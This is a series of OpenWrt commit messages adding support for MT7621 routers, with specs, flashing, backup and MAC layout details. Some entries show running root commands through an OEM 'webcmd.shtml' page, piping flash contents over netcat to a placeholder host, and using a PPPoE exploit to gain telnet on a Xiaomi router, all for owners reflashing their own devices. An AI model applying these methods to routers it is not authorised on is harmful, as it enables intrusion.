* LEDs: Power (white/orange), Internet (white/orange), WiFi 2.4G (white),
WiFi 5G (white), USB 3.0 (white), USB 2.0 (white)
Notes:
* WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips
Installation:
* D-Link Recovery GUI: power down the router, press and hold the reset
button, then re-plug it. Keep the reset button pressed until the power
LED starts flashing orange, manually assign a static IP address under
the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1
* Some modern browsers may have problems flashing via the Recovery GUI,
if that occurs consider uploading the firmware through cURL:
curl -v -i -F "firmware=@file.bin" 192.168.0.1
MAC addresses:
lan factory 0xe000 *:a7 (label)
wan factory 0xe006 *:aa
2.4 factory 0xe000 +1 *:a8
5.0 factory 0xe000 +2 *:a9
Seems like vendor didn't replace the dummy entries in the calibration data.
Signed-off-by: Josh Bendavid <joshbendavid@gmail.com>
[rebase onto already merged DIR-1960 A1, add MAC addresses to commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds support for Wavlink WL-WN531A6 (Quantum D6).
Specifications:
--------------
* SoC: Mediatek MT7621AT 2C2T, 880MHz
* RAM: 128MB DDR3, Nanya NT5CB64M16GP-EK
* Flash: 16MB SPI NOR flash, GigaDevice GD25Q127CSIG
* WiFi 5GHz: Mediatek MT7615N (4x4:4) on mini PCIE slot.
* WiFi 2.4GHz: Mediatek MT7603EN (2x2:2) on mini PCIE slot.
* Ethernet: MT7630, 5x 1000Base-T
* LED: Power, WAN, LAN(x4), WiFi, WPS, dual color
"WAVLINK" LED logo on the top cover.
* Buttons: Reset, WPS, "Turbo", touch button on the top
cover via RH6015C touch sensor.
* UART: UART1: serial console (57600 8n1) on the J4 header
located below the top heatsink.
UART2: J12 header, located on the right side of
the board.
* USB: One USB3 port.
* I2C: J9 header, located below the top heatsink.
Backup the OEM Firmware:
-----------------------
There isn't any firmware released for the WL-WN531A6 on
the Wavlink web site. Reverting back to the OEM firmware is
not possible unless we have a backup of the original OEM
firmware.
The OEM firmware is stored on /dev/mtd4 ("Kernel").
1) Plug a FAT32 formatted USB flash drive into the USB port.
2) Navigate to "Setup->USB Storage". Under the "Available
Network folder" you can see part of the mount point of
the newly mounted flash drive filesystem - e.g "sda1".
The full mount point is prefixed with "/media", so in
this case the mount point becomes "/media/sda1".
3) Go to http://192.168.10.1/webcmd.shtml .
4) Type the following line in the "Command" input box:
dd if=/dev/mtd4ro of=/media/sda1/firmware.bin
5) Click "Apply"
6) After few seconds, in the text area should appear this
output:
30080+0 records in
30080+0 records out
7) Type "sync" in the "Command" input box and click "Apply".
8) At this point the OEM firmware is stored on the flash
drive as "firmware.bin". The size of the file is 15040 KB.
Installation:
------------
* Flashing instructions (OEM web interface):
The OEM web interface accepts only files with names containing
"WN531A6". It's also impossible to flash the *-sysupgrade.bin
image, so we have to flash the *-initramfs-kernel.bin first and
use the OpenWrt's upgrade interface to write the sysupgrade
image.
1) Rename openwrt-ramips-mt7621-wavlink_wl-wn531a6-initramfs-kernel.bin
to WN531A6.bin.
2) Connect your computer to the one of the LAN ports of the
router with an Ethernet cable and open http://192.168.10.1
3) Browse to Setup -> Firmware Upgrade interface.
4) Upload the (renamed) OpenWrt image - WN531A6.bin.
5) Proceed with the firmware installation and give the device
a few minutes to finish and reboot.
6) After reboot wait for the "WAVLINK" logo on the top cover
to turn solid blue, and open http://192.168.1.1
7) Use the OpenWrt's "Flash Firmware" interface to write the
OpenWrt sysupgrade image:
openwrt-ramips-mt7621-wavlink_wl-wn531a6-squashfs-sysupgrade.bin
* Flashing instructions (u-boot TFTP):
1) Configure a TFTP server on your computer and set its IP
to 192.168.10.100
2) Rename the OpenWrt sysupgrade image to firmware.bin and
place it in the root folder of the TFTP server.
3) Power off the device and connect an Ethernet cable from
one of its LAN ports your computer.
4) Press the "Reset" button (and keep it pressed)
5) Power on the device.
6) After a few seconds, when the connected port LAN LED stops
blinking fast, release the "Reset" button.
7) Flashing OpenWrt takes less than a minute, system will
reboot automatically.
8) After reboot the WAVLINK logo on the top cover will indicate
the current OpenWrt running status (wait until the logo tunrs
solid blue).
Revert to the OEM Firmware:
--------------------------
* U-boot TFTP:
Follow "Flashing instructions (u-boot TFTP)" and use the
"firmware.bin" backup image.
* OpenWrt "Flash Firmware" interface:
Upload the "firmware.bin" backup image and select "Force update"
before continuing.
Notes:
-----
* The MAC address shown on the label at the back of the device
is assigned to the 2.4G WiFi adapter.
MAC addresses assigned by the OEM firmware:
2.4G: *:XX (label): factory@0x0004
5G: *:XX + 1 : factory@0x8004
WAN: *:XX - 1 : factory@0xe006
LAN: *:XX - 2 : factory@0xe000
* The I2C bus and UART2 are fully functional. The headers are
not populated.
Signed-off-by: Georgi Vlaev <georgi.vlaev@konsulko.com>
The wg3526 fails to boot if the kernel is large.
Enabling lzma-loader resolves the issue on both the wg3526-16m
and wg3526-32m.
Fixes: FS#3143
Signed-off-by: Rustam Gaptulin <rascal6@gmail.com>
[commit message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In order to support SAE/WPA3-Personal in default images. Replace almost
all occurencies of wpad-basic and wpad-mini with wpad-basic-wolfssl for
consistency. Keep out ar71xx from the list as it won't be in the next
release and would only make backports harder.
Build-tested (build-bot settings):
ath79: generic, ramips: mt7620/mt76x8/rt305x, lantiq: xrx200/xway,
sunxi: a53
Signed-off-by: Petr Štetiar <ynezz@true.cz>
[rebase, extend commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds support for the MikroTik RouterBOARD 760iGS router.
It is similar to the already supported RouterBOARD 750Gr3.
The 760iGS device features an added SFP cage, and passive
PoE out on port 5 compared to the RB750Gr3.
https://mikrotik.com/product/hex_s
Specifications:
- SoC: MediaTek MT7621A
- CPU: 880MHz
- Flash: 16 MB
- RAM: 256 MB
- Ethernet: 5x 10/100/1000 Mbps
- SFP cage
- USB port
- microSD slot
Unsupported:
- Beeper (requires PWM driver)
- ZT2046Q (ADS7846 compatible) on SPI as slave 1 (CS1)
The linux driver requires an interrupt, and pendown GPIO
These are unknown, and not needed with the touchscreen
only used for temperature and voltage monitoring.
ads7846 hwmon:
temp0 is degrees Celsius
temp1 is voltage * 32
GPIOs:
- 07: input passive PoE out (lan5) compatible (Mikrotik) device connected
- 17: output passive PoE out (lan5) switch
Installation through RouterBoot follows the usual MikroTik method
https://openwrt.org/toh/mikrotik/common
To boot to intramfs image in RAM:
1. Setup TFTP server to serve intramfs image.
2. Plug Ethernet cable into WAN port.
3. Unplug power, hold reset button and plug power in.
Wait (~25 seconds) for beep and then release reset button.
The SFP LED will be lit in RouterBoot, but will not be lit in OpenWRT.
4. Wait for a minute. Router should be running OpenWrt,
check by plugging in to port 2-5 and going to 192.168.1.1.
To install OpenWrt to flash:
1. Follow steps above to boot intramfs image in RAM.
2. Flash the sysupgrade.bin image with web interface or sysupgrade.
3. Once the router reboots you will be running OpenWrt from flash.
OEM firmware differences:
- RouterOS assigns a different MAC address for each port
- The first address (E01 on the sticker) is used for wan (ether1 in OEM).
- The next address is used for lan2.
- The last address (E06 on the sticker) is used for sfp.
[Initial port work, shared dtsi]
Signed-off-by: Vince Grassia <vincenzo.grassia@zionark.com>
[SFP support and GPIO identification]
Signed-off-by: Luka Logar <luka.logar@iname.com>
[Misc. fixes and submission]
Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au>
[rebase, drop uart3 from state_default on 750gr3, minor commit
title/message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This beeper hardware requires a PWM driver for frequency selection.
Since the GPIO driver does not provide that, revert the beeper
support to a simple gpio-export.
This effectively reverts the corresponding changes from
6ba58b7b02 ("ramips: cleanup the RB750Gr3 support")
Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au>
[commit title/message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Add a specific comment for early DSA-adopters that they can keep
their config when prompted due to compat-version increase.
This is a temporary solution, the patch should be simply reverted
before any release.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This implements the newly introduced compat-version to prevent
broken upgrade between swconfig and DSA for ramips' mt7621 subtarget.
In order to make the situation more transparent for the user, and
to prevent large switch-cases for devices, it is more convenient to
have the entire subtarget 1.1-by-default. This means that new devices
will be added with 1.1 from the start, but in contrast we don't need
to switch them in board.d files. Apart from that, users that manually
backport devices to 19.07 with swconfig will have an equivalent
upgrade experience to officially supported devices.
Since DSA support on mt7621 is out for a while already, this applies
the same uci-defaults workaround for early adopters as already
done for kirkwood and mvebu in previous commits.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
For ramips/mt7621, the wpad-basic package is not selected by default,
but added for every device individually as needed.
While this might be technically correct if the SoC does not come with
a Wifi module, only 18 of 97 devices for that platform are set up
_without_ wpad-basic currently.
Therefore, it seems more convenient to add wpad-basic by default for
the subtarget and then just remove it for the 18 mentioned devices,
instead of having to add it for about 60 times instead.
This would also match the behavior of the 5 other subtargets, where
wpad-basic/wpad-mini is added by default as well, and thus be more
obvious to developers without detailed SoC knowledge.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Like NAND-based devices, SPI-NOR based Netgear devices also share
a common setup for their images. This creates a common defition
for them in image/Makefile, so it can be reused across subtargets.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds support for D-Link DIR-1960 A1. Given the similarity with
the DIR-1760/2660 A1, this patch also introduces a common DTSI which can
be shared with these devices, with support to be added in future commits.
Specifications:
* Board: AP-MTKH7-0002
* SoC: MediaTek MT7621AT
* RAM: 256 MB (DDR3)
* Flash: 128 MB (NAND)
* WiFi: MediaTek MT7615N (x2)
* Switch: 1 WAN, 4 LAN (Gigabit)
* Ports: 1 USB 3.0
* Buttons: Reset, WPS
* LEDs: Power (white/orange), Internet (white/orange), WiFi 2.4G (white),
WiFi 5G (white), USB 3.0 (white)
Notes:
* WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips
Installation:
* D-Link Recovery GUI: power down the router, press and hold the reset
button, then re-plug it. Keep the reset button pressed until the power
LED starts flashing orange, manually assign a static IP address under
the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1
* Some modern browsers may have problems flashing via the Recovery GUI,
if that occurs consider uploading the firmware through cURL:
curl -v -i -F "firmware=@file.bin" 192.168.0.1
MAC addresses:
lan factory 0xe000 *:EB (label)
wan factory 0xe006 *:EE
2.4 factory 0xe000 +1 *:EC
5.0 factory 0xe000 +2 *:ED
Seems like vendor didn't replace the dummy entrys in the calibration data.
Signed-off-by: Josh Bendavid <joshbendavid@gmail.com>
[fix whitespace issues, create patch to merge DIR-1960 first, move
special WiFi MAC settings to DTS, extend commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Winstars WS-WN583A6 is a wireless repeater with 2 gigabit ethernet
ports. Even if mine is branded as "Gemeita AC2100", the sticker on the
back says WS-WN583A6. So I will refer to it as Winstars WS-WN583A6.
Probably the real product name is the Wavlink WL-WN583A6 because of
the many references to Wavlink in the OEM firmware and bootlog.
Hardware
--------
SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM: 128MB
FLASH: 8MB NOR (GigaDevice GD25Q64B)
ETH: 2x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
- 2.4GHz: 1x MT7603E (2x2:2)
- 5GHz: 1x MT7615E (4x4:4)
- 6 internal antennas
BTN:
- 1x Reset button
- 1x WPS button
- 1x ON/OFF switch (working but unmodifiable)
- 1x Auto/Schedule switch (working but unmodifiable. Read Note #3)
LEDS:
- 1x White led
- 1x Red led
- 1x Amber led
- 1x Blue led
- 2x Blue leds (lan and wan port status: working but unmodifiable)
UART:
- 57600-8-N-1
Everything works correctly.
Currently there is no firmware update available. Because of this, in
order to restore the OEM firmware, you must firstly dump the OEM
firmware from your router before you flash the OpenWrt image.
Backup the OEM Firmware
-----------------------
The following steps are to be intended for users having little to none
experience in linux. Obviously there are many ways to backup the OEM
firmware, but probably this is the easiest way for this router.
Procedure tested on M83A6.V5030.191210 firmware version.
1) Go to http://192.168.10.1/webcmd.shtml
2) Type the following line in the "Command" input box:
mkdir /etc_ro/lighttpd/www/dev; for i in /dev/mtd*ro; do dd if=${i} of=/etc_ro/lighttpd/www${i}; done
3) Click "Apply"
4) After few seconds, in the textarea should appear this output:
16384+0 records in
16384+0 records out
8388608 bytes (8.0MB) copied, 4.038820 seconds, 2.0MB/s
384+0 records in
384+0 records out
196608 bytes (192.0KB) copied, 0.095180 seconds, 2.0MB/s
128+0 records in
128+0 records out
65536 bytes (64.0KB) copied, 0.032020 seconds, 2.0MB/s
128+0 records in
128+0 records out
65536 bytes (64.0KB) copied, 0.031760 seconds, 2.0MB/s
15744+0 records in
15744+0 records out
8060928 bytes (7.7MB) copied, 3.885280 seconds, 2.0MB/s
dd: can't open '/dev/mtd5ro': No such device
dd: can't open '/dev/mtd6ro': No such device
dd: can't open '/dev/mtd7ro': No such device
Excluding the "X.XXXXXX seconds" part, you should get the same
exact output. If your output doesn't match mine, stop reading
and ask for help in the forum.
5) Open the following links to download the partitions of the OEM FW:
http://192.168.10.1/dev/mtd0rohttp://192.168.10.1/dev/mtd1rohttp://192.168.10.1/dev/mtd2rohttp://192.168.10.1/dev/mtd3rohttp://192.168.10.1/dev/mtd4ro
If one (or more) of these files weight 0 byte, stop reading and ask
for help in the forum.
6) Store these downloaded files in a safe place.
7) Reboot your router to remove any temporary file from your router.
Installation
------------
Flash the initramfs image in the OEM firmware interface.
When openwrt boots, flash the sysupgrade image otherwise you won't be
able to keep configuration between reboots.
Restore OEM Firmware
--------------------
Flash the "mtd4ro" file you previously backed-up directly from LUCI.
Warning: Remember to not keep settings!
Warning2: Remember to force the flash.
Notes
-----
1) The "System Command" page allows to run every command as root.
For example you can use "dd" and "nc" to backup the OEM firmware.
PC (SERVER):
nc -l 5555 > ./mtdXro
ROUTER (CLIENT):
dd if=/dev/mtdXro | nc PC_IP_ADDRESS 5555
2) The OEM web interface accepts only images containing the string
"WN583A6" in the filename.
Currently the OEM interface accepts only the initramfs image
probably because it checks if the ih_size in the image header is
equal to the whole image size (instead of the kernel size)
Read more here:
https://forum.openwrt.org/t/support-for-strong-1200/22768/19
3) The white led (namely "Smart Night Light") can be controller by the
user only if the side switch is set to "Schedule" otherwise it will
be activated by the light condition (there is a photodiode on the
top side of the router)
4) Router mac addresses:
LAN XX:XX:XX:XX:XX:8F
WAN XX:XX:XX:XX:XX:90
WIFI 2G XX:XX:XX:XX:XX:91
WIFI 5G XX:XX:XX:XX:XX:92
LABEL XX:XX:XX:XX:XX:91
Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
[remove chosen node, fix whitespace]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds support for D-Link DIR-867 A1 and D-Link DIR-882 A1. Given
the similarity of these devices, this patch also introduces a common DTS
shared between DIR-867 A1, DIR-878 A1 and DIR-882 A1.
Specifications:
* Board: AP-MTKH7-0002
* SoC: MediaTek MT7621AT
* RAM: 128 MB (DDR3)
* Flash: 16 MB (SPI NOR)
* WiFi: MediaTek MT7615N (x2)
* Switch: 1 WAN, 4 LAN (Gigabit)
* Ports: 1 USB 2.0, 1 USB 3.0
* Buttons: Reset, WiFi Toggle, WPS
* LEDs: Power (green/orange), Internet (green/orange), WiFi 2.4G (green),
WiFi 5G (green), USB 2.0 (green), USB 3.0 (green)
Notes:
* WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips
* DIR-867 wireless chips are limited to 3x3 streams at hardware level
* USB ports and related LEDs available only on DIR-882
Serial port:
* Parameters: 57600, 8N1
* Location: J1 header (close to the Reset, WiFi and WPS buttons)
* Pinout: 1 - VCC
2 - RXD
3 - TXD
4 - GND
Installation:
* D-Link Recovery GUI: power down the router, press and hold the reset
button, then re-plug it. Keep the reset button pressed until the power
LED starts flashing orange, manually assign a static IP address under
the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1
* Some modern browsers may have problems flashing via the Recovery GUI,
if that occurs consider uploading the firmware through cURL:
curl -v -i -F "firmware=@file.bin" 192.168.0.1
Signed-off-by: Mateus B. Cassiano <mbc07@live.com>
[move DEVICE_VARIANT to individual definitions]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
* SoC: MediaTek MT7621A (880 MHz 2c/4t)
* RAM: Nanya NT5CC128M16IP-DIT (256M DDR3-1600)
* Flash: Macronix MX30LF1G18AC-TI (128M NAND)
* Eth: MediaTek MT7621A (10/100/1000 Mbps x5)
* Radio: MT7615N (2.4 GHz & 5 GHz)
4 antennae: 1 internal and 3 non-deatachable
* USB: 3.0 (x1)
* LEDs:
White (x1 logo)
Green (x6 eth + wps)
Orange (x5, hardware-bound)
* Buttons:
Reset (x1)
WPS (x1)
Everything works! Been running it for a couple weeks now and haven't had
any problems. Please let me know if you run into any.
Installation:
Flash factory image through GUI.
This might fail due to the A/B nature of this device. When flashing, OEM
firmware writes over the non-booted partition. If booted from 'A',
flashing over 'B' won't work. To get around this, you should flash the
OEM image over itself. This will then boot the router from 'B' and
allow you to flash OpenWRT without problems.
Reverting to factory firmware:
Hard-reset the router three times to force it to boot from 'B.' This is
where the stock firmware resides. To remove any traces of OpenWRT from
your router simply flash the OEM image at this point.
Signed-off-by: Santiago Rodriguez-Papa <contact@rodsan.dev>
[use v1 only, minor DTS adjustments, use LINKSYS_HWNAME and add it to
DEVICE_VARS, wrap DEVICE_PACKAGES, adjust commit message/title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Add a common definition for ELECOM WRC "GS" devices to mt7621.mk
to not repeat the same assignments five times.
To keep the naming consistent, slightly rename the DTSI and the
factory image recipe as well.
Note that elecom_wrc-1167ghbk2-s uses a slightly different build
recipe for the factory image, so we keep it separate.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: INAGAKI Hiroshi <musashino.open@gmail.com> [WRC-1750GSV]
Specifications:
SoC: MT7621AT
RAM: 128MB
Flash: 16MB NOR SPI flash
WiFi: MT7615N (2.4GHz) and MT7615N (5Ghz)
LAN: 5x1000M
Firmware layout is Uboot with extra 96 bytes in header
Base PCB is AP-MTKH7-0002
LEDs Power Green,Power Orange,Internet Green,Internet Orange
LEDs "2.4G" Green & "5G" Green connected directly to wifi module
Buttons Reset,WPS,WIFI
Flashing instructions:
Upload image via emergency recovery mode
Push and hold reset button (on the back of the device) until power led
starts flashing (about 10 secs or so) while powering the device on.
Give it ~30 seconds, to boot the recovery mode GUI
Connect your client computer to LAN1 of the device
Set your client IP address manually to 192.168.0.2 / 255.255.255.0.
Call the recovery page for the device at http://192.168.0.1
Use the provided emergency web GUI to upload and flash a new firmware to
the device. Some browsers/OS combinations are known not to work, so if
you don't see the percentage complete displayed and moving within a few
seconds, restart the procedure from scratch and try anoher one,
or try the command line way.
Alternative method using command line on Linux:
curl -v -i -F "firmware=@openwrt-xxxx-squashfs-factory.bin" 192.168.0.1
Signed-off-by: Mathieu Martin-Borret <mathieu.mb@protonmail.com>
[use of generic uimage-padhdr in image generation code]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This creates a common DTSI and shared image definition for the
relatively similar Netgear devices for mt7628 platform.
As a side effect, this raises SPI flash frequency for the R6120,
as it's expected to work there as well if it works for R6080 and
R6020.
Based on the data from the other devices, it also seems probable
the 5g MAC address for R6120 could be extracted from the caldata,
and the mtd-mac-address there could be dropped.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
There are already two very similar recipes using uimage_padhdr
in ramips target, and a third one is about to be added.
Make the recipe more generic, so redefinitions are not necessary
anymore.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Bjørn Mork <bjorn@mork.no> [Zyxel WAP6805]
The rg21s fails to boot if the kernel is larger than about
2,376 KiB. The ra21s is virtually identical hardware.
Enabling lzma-loader resolves the issue on both the rg21s
and ra21s (see FS#3057 on the issue tracker).
Fixes: FS#3057
Signed-off-by: Furkan Alaca <furkan.alaca@queensu.ca>
Adding this has been overlooked when rebasing the commit prior to
merge.
Fixes: ba0f4f0cfd ("ramips: add support for TP-Link RE500 v1")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Hardware
--------
SoC: MediaTek MT7621ST
WiFi: MediaTek MT7603
Quantenna QT3840BC
Flash: 128M NAND
RAM: 64M
LED: Dual colour red and green
BTN: Reset
WPS
Eth: 4 x 10/100/1000 connected to MT7621 internal switch
MT7621 RGMII port connected to Quantenna module
GPIO: Power/reset of Quantenna module
Quantenna module
----------------
The Quantenna QT3840BC (or QV840) is a separate SoC running
another Linux installation. It is mounted on a wide mini-PCIe
form factor module, but is connected to the RGMII port of
the MT7621. It loads both a second uboot stage and an os
image from the MT7621 using tftp. The module is configured
using Quantenna specific RPC calls over IP, using 802.1q
over the RGMII link to support multiple SSIDs.
There is no support for using this module as a WiFi device
in OpenWrt. A package with basic firmware and management
tools is being prepared.
Serial ports
------------
Two serial ports with headers:
RRJ1 - 115200 8N1 - Connected to the Quantenna console
J1 - 57600 8N1 - Connected to the MT7621 console
Both share pinout with many other Zyxel/Mitrastar devices:
1 - NC (VDD)
2 - TX
3 - RX
4 - NC (no pin)
5 - GND
Dual system partitions
----------------------
The vendor firmware and boot loader use a dual partition
scheme storing a counter in the header of each partition. The
partition with the highest number will be selected for boot.
OpenWrt does not support this scheme and will always use the
first OS partition. It will reset both counters to zero the
first time sysupgrade is run, making sure the first partition
is selected by the boot loader.
Installation from vendor firmware
---------------------------------
1. Run a DHCP server. The WAP6805 is configured as a client device
and does not have a default static IP address. Make a note of
which address it is assigned
2. tftp the OpenWrt initramfs-kernel.bin image to this address.
Wait for the WAP6805 to reboot.
3. ssh to the OpenWrt initramfs system on 192.168.1.1. Make a
backup of all mtd partitions now. The last used OEM image is
still present in either "Kernel" or "Kernel2" at this point,
and can be restored later if you save a copy.
4. sysupgrade to the OpenWrt sysupgrade.bin image.
Installation from U-Boot
------------------------
This requires serial console access
1. Copy the OpenWrt initramfs-kernel.bin image as "ras.bin" to
your tftp server directory. Configure the server address as
192.168.0.33/24
2. Hit ESC when the message "Hit ESC key to stop autoboot"
appears
3. Type "ATGU" + Enter, and then "2" immediately after pressing enter.
4. Answer Y to the question "Erase Linux in Flash then burn new
one. Are you sure?", and answer the address/filename questions.
Defaults:
Input device IP (192.168.0.2)
Input server IP (192.168.0.33)
Input Linux Kernel filename ("ras.bin")
5. Wait until after you see the message "Done!" and power cycle
the device. It will hang after flashing.
6. Continue with step 3 and 4 from the vendor firmware procedure.
Notes on the WAP6805 U-Boot
---------------------------
The bootloader has been modified with both ZyXELs zyloader and the
device specific dual partition scheme. These changes appear to have
broken a few things. The zyloader shell claims to support a number
of ZyXEL AT commands, but not all of them work. The image selection
scheme is unreliable and inconsistent. A limited U-Boot menu is
available - and used by the above U-Boot install procedure. But
direct booting into an uploaded image does not work, neither with
ram nor with flash. Flashing works, but requires a hard reset after
it is finished.
Reverting to OEM firmware
-------------------------
The OEM firmware can be restored by using mtd write from OpenWrt,
flashing it to the "Kernel" partition. E.g.
ssh root@192.168.1.1 "mtd -r -e Kernel write - Kernel" < oem.bin
OEM firmwares for the WAP6805 are not avaible for public download,
so a backup of the original installation is required. See above.
Alternatively, firmware for the WAP6806 (Armor X1) may be used. This
is exactly the same hardware. But the branding features do obviously
differ.
LED controller
--------------
Hardware implementation is unknown. The dual-color LED is controlled
by 3 GPIOs:
4: red
7: blinking green
13: green
Enabling both red and green makes the LED appear yellow.
The boot loader enables hardware blinking, causing the green LED to blink
slowly on power-on, until the OpenWrt boot mode starts a faster software
blink.
Signed-off-by: Bjørn Mork <bjorn@mork.no>
[fix alphabetic sorting for image build statement]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The Xiaomi Mi Router AC2100 is a *black* cylindrical router that shares many
characteristics (apart from its looks and the GPIO ports) with the 6-antenna
*white* "Xiaomi Redmi Router AC2100"
See the visual comparison of the two routers here:
https://github.com/emirefek/openwrt-R2100/raw/imgcdn/rm2100-r2100.jpg
Specification of R2100:
- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN in Yellow and Blue
- UART: On board (Don't know where is should be confirmed by anybody else)
- Modified u-boot
Hacking of official firmware process is same at both RM2100 and R2100.
Thanks to @namidairo
Here is the detailed guide Hack: https://github.com/impulse/ac2100-openwrt-guide
Guide is written for MacOS but it will work at linux.
needed packages: python3(with scapy), netcat, http server, telnet client
1. Run PPPoE&exploit to get nc and wget busybox, get telnet and wget firmware
2. mtd write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-rootfs0.bin rootfs0
other than these I specified in here. Everything is same with:
f3792690c4
Thanks for all community and especially for this device:
@Ilyas @scp07 @namidairo @Percy @thorsten97 @impulse (names@forum.openwrt.com)
MAC Locations:
WAN *:b5 = factory 0xe006
LAN *:b6 = factory 0xe000
WIFI 5ghz *:b8 = factory 0x8004
WIFI 2.4ghz *:b7 = factory 0x0004
Signed-off-by: Emir Efe Kucuk <emirefek@gmail.com>
[refactored common image bits into Device/xiaomi-ac2100, fixed From:]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Hardware
--------
SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM: 128MB
FLASH: 16MB NOR (Macronix MX25L12805D)
ETH: 1x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
- 2.4GHz: 1x MT7615 (4x4:4)
- 5GHz: 1x MT7615 (4x4:4)
- 4 antennas: 2 external detachable and 2 internal
BTN:
- 1x Reset button
- 1x WPS button
LEDS:
- 1x Green led (Power)
- 1x Green-Amber-Red led (Wifi)
UART:
- 57600-8-N-1
Everything works correctly.
Installation
------------
Flash the factory image directly from OEM web interface.
(You can login using these credentials: admin/1234)
Restore OEM Firmware
--------------------
Flash the OEM "bin" firmware directly from LUCI.
The firmware is downloadable from the OEM web page.
Warning: Remember to not keep settings!
Warning2: Remember to force the flash.
Restoring procedure tested with RE23_1.08.bin
MAC addresses
-------------
factory 0x4 *:24
factory 0x8004 *:25
Cimage 0x07 *:24
Cimage 0x0D *:24
Cimage 0x13 *:24
Cimage 0x19 *:25
No other addresses were found in factory partition.
Since the label contains both the 2.4GHz and 5GHz mac address I decided
to set the 5GHz one as label-mac-device. Moreover it also corresponds
to the lan mac address.
Notes
-----
The wifi led in the OEM firmware changes colour depending on the signal
strength. This can be done in OpenWrt but just for one interface.
So for now will not be any default action for this led.
If you want to open the case, pay attention to the antenna placed on
the bottom part of the front cover.
The wire is a bit short and it breaks easily. (I broke it)
Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
[fix two typos and add extended MAC address section to commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This device uses the same hardware as RE650 v1 which got supported in
8c51dde.
Hardware specification:
- SoC 880 MHz - MediaTek MT7621AT
- 128 MB of DDR3 RAM
- 16 MB - Winbond 25Q128FVSG
- 4T4R 2.4 GHz - MediaTek MT7615E
- 4T4R 5 GHz - MediaTek MT7615E
- 1x 1 Gbps Ethernet - MT7621AT integrated
- 7x LEDs (Power, 2G, 5G, WPS(x2), Lan(x2))
- 4x buttons (Reset, Power, WPS, LED)
- UART header (J1) - 2:GND, 3:RX, 4:TX
Serial console @ 57600,8n1
Flash instructions:
Upload
openwrt-ramips-mt7621-tplink_re500-v1-squashfs-factory.bin
from the RE500 web interface.
TFTP recovery to stock firmware:
Unfortunately, I can't find an easy way to recover the RE
without opening the device and using modified binaries. The
TFTP upload will only work if selected from u-boot, which
means you have to open the device and attach to the serial
console. The TFTP update procedure does *not* accept the
published vendor firmware binaries. However, it allows to
flash kernel + rootfs binaries, and this works if you have
a backup of the original contents of the flash. It's probably
possible to create special image out of the vendor binaries
and use that as recovery image.
Signed-off-by: Christoph Krapp <achterin@googlemail.com>
[remove dts-v1 in DTSI, do not touch WiFi LEDs for RE650, keep
state_default in DTS files, fix label-mac-device, use lower case
for WiFi LEDs]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The WAC124 hardware appears to be identical to R6260/R6350/R6850.
SoC: MediaTek MT7621AT
RAM: 128M DDR3
FLASH: 128M NAND (Macronix MX30LF1G18AC)
WiFI: MediaTek MT7603 bgn 2T2R
MediaTek MT7615 nac 4T4R
ETH: SoC Integrated Gigabit Switch (1x WAN, 4x LAN)
USB: 1x USB 2.0
BTN: Reset, WPS
LED: Power, Internet, WiFi, USB (all green)
Installation:
The factory image can be flashed from the stock firmware web interface
or using nmrpflash. With nmrpflash it is also possible to revert to
stock firmware.
Signed-off-by: Jan Hoffmann <jan@3e8.eu>
NETGEAR WAC104 is an AP based on castrated R6220, without WAN
port and USB.
SoC: MediaTek MT7621ST
RAM: 128M DDR3
FLASH: 128M NAND
WiFi: MediaTek MT7612EN an+ac
MediaTek MT7603EN bgn
ETH: MediaTek MT7621ST (4x LAN)
BTN: 1x Connect (WPS), 1x WLAN, 1x Reset
LED: 7x (3x GPIO controlled)
Installation:
Login to netgear webinterface and flash factory.img
Back to stock:
Use nmrpflash to revert stock image.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Specification:
